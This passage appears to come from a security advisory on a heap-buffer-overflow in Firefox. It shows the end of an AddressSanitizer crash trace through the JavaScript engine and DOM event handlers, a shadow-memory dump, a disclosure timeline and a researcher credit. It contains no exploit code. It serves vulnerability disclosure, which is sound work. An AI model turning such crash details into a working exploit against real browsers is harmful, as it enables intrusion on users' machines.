	#28 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
	#29 0x7fe0c5cbf2e2 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2840:10
	#30 0x7fe0bf2039e9 in mozilla::dom::EventHandlerNonNull::Call(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/EventHandlerBinding.cpp:276:37
	#31 0x7fe0bfd34d71 in void mozilla::dom::EventHandlerNonNull::Call<nsCOMPtr<mozilla::dom::EventTarget> >(nsCOMPtr<mozilla::dom::EventTarget> const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/EventHandlerBinding.h:367:12
	#32 0x7fe0bfd32f20 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/checkouts/gecko/dom/events/JSEventHandler.cpp:201:12
	#33 0x7fe0bfcf7aae in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1088:22
	#34 0x7fe0bfcf913e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1280:17

SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c06800856e0: 00 00 00 00 fa fa fd fd fd fd fa fa 00 00 00 fa
  0x0c06800856f0: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c0680085700: 00 fa fa fa 00 00 00 00 fa fa fd fd fd fd fa fa
  0x0c0680085710: fd fd fd fd fa fa 00 00 00 fa fa fa 00 00 00 00
  0x0c0680085720: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
=>0x0c0680085730: 00 00 fa fa 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c0680085740: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0680085750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0680085760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0680085770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0680085780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==61400==ABORTING

Timeline

2020-05-27 - Vendor Disclosure
2020-07-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.